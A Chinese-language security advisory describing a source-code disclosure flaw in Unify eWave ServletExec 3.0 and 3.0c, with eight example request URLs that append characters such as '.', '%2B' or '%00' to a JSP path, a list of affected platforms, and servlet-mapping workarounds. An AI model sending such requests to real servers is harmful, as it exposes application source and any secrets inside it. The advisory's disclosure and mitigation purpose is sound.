直播中
描述:
在HTTP請(qǐng)求中添加特殊字符導(dǎo)致暴露JSP源代碼文件
詳細(xì):
Unify eWave ServletExec 是一個(gè) Java/Java Servlet 引擎插件,主要用于 WEB 服務(wù)器,例如:Microsoft IIS, Apache, Netscape Enterprise 服務(wù)器等等。
當(dāng)一個(gè) HTTP 請(qǐng)求中添加下列字符之一,ServletExec 將返回 JSP 源代碼文件。
.
%2E
+
%2B
\
%5C
%20
%00
成功的利用該漏洞將導(dǎo)致泄露指定的JSP文件的源代碼
例如:
使用下面的任意一個(gè)URL請(qǐng)求將輸出指定的JSP文件的源代碼:
http://target/directory/jsp/file.jsp.
http://target/directory/jsp/file.jsp%2E
http://target/directory/jsp/file.jsp+
http://target/directory/jsp/file.jsp%2B
http://target/directory/jsp/file.jsp\
http://target/directory/jsp/file.jsp%5C
http://target/directory/jsp/file.jsp%20
http://target/directory/jsp/file.jsp%00
受影響的系統(tǒng):
Unify eWave ServletExec 3.0c
- Sun Solaris 8.0
- Microsoft Windows 98
- Microsoft Windows NT 4.0
- Microsoft Windows NT 2000
- Linux kernel 2.3.x
- IBM AIX 4.3.2
- HP HP-UX 11.4
Unify eWave ServletExec 3.0
- Sun Solaris 8.0
- Microsoft Windows 98
- Microsoft Windows NT 4.0
- Microsoft Windows NT 2000
- Linux kernel 2.3.x
- IBM AIX 4.3.2
- HP HP-UX 11.4
解決方案:
臨時(shí)解決辦法:
如果沒(méi)有使用任何靜態(tài)頁(yè)面或圖像,可以配置一個(gè)默認(rèn)的 servlet,并將“/”映射到這個(gè)默認(rèn)的 servlet。這樣當(dāng)收到一個(gè)未映射到某個(gè) servlet 的 URL 時(shí),這個(gè)默認(rèn)的servlet 就會(huì)被調(diào)用。在這種情況下,默認(rèn)的 servlet 可以?xún)H僅返回“未找到文件”。如果使用了靜態(tài)的頁(yè)面或圖像,仍然可以作這樣的配置,但是需要讓這個(gè)默認(rèn)的servlet 處理對(duì)合法的靜態(tài)頁(yè)面和圖像的請(qǐng)求。
另一種可能就是將*.jsp+、*.jsp.和*.jsp\等映射到一個(gè) servlet,而該servlet只是返回“未找到文件”。對(duì)于*.jsp%00和*.jsp%20這樣的情況,映射應(yīng)以未經(jīng)編碼的形式輸入。例如,對(duì)于*.jsp%20的映射應(yīng)輸入“*.jsp ”。注意%20被轉(zhuǎn)換成一個(gè)空格字符。